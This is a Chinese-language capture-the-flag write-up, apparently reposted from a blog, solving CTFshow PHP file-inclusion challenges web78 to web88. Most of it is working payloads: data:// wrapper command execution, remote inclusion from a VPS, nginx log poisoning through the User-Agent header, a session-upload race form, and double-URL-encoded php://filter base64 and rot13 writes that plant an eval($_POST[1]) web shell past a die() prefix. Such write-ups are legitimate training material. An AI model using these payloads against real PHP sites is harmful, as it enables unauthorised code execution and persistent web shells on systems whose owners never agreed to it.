CTFshow 文件包含
作者：互联网
web78
?file=data://text/plain,<?php system("cat flag.php");?>
web 79
?file=data://text/plain,<?= system("cat flag*");?>
web80 hao
方法一：远程文件包含
往VPS下面写马，然后远程包含：
?file=http://118.***.***.***/1.txt
方法二：日志文件包含
?file=/var/log/nginx/access.log
因此往UA头里面写马就可以了。nginx和apache的日志文件包含也是一个考点。
web82-86 hao
session文件包含
利用PHP_SESSION_UPLOAD_PROGRESS进行session文件包含和条件竞争
利用session.upload_progress进行文件包含和反序列化渗透
在网页源码中加入这个，用于上传
<!DOCTYPE html>
<html>
<body>
<form action="http://e0ec0aa7-48cc-49d0-bece-ffa2dc050ab9.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
然后无参数条件竞争即可
两边同时条件竞争就阔以了。。。。
web 87 hao
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
绕过死亡die
文件名可以通过两次url全编码绕过。
因为前面有die，所以我们后面直接写php内容会起不到作用。
1、base64编码绕过
GET
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2561%252e%2570%2568%2570
// file=php://filter/write=convert.base64-decode/resource=a.php
POST
content=11PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==
其中PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==是"<?php eval($_POST[1]);"的base64编码。前面的11是为了填充"<?php die('大佬别秀了');?>"
base64 4位4位解码，其中"<?php die('大佬别秀了');?>"解码的内容其实只有phpdie，所以需要再填充两位。
//content=<?php eval($_POST[1]);
2、rot13编码绕过
GET
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2562%252e%2570%2568%2570
//file=php://filter/read=string.rot13/resource=b.php
POST
content=<?cuc riny($_CBFG[1]);
//content=<?php eval($_POST[1]);
web 88
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
data伪协议base64编码绕过
标签：文件,252f%,包含,2574%,2572%,CTFshow,file,2565%,php 来源： https://blog.csdn.net/jvkyvly/article/details/115819884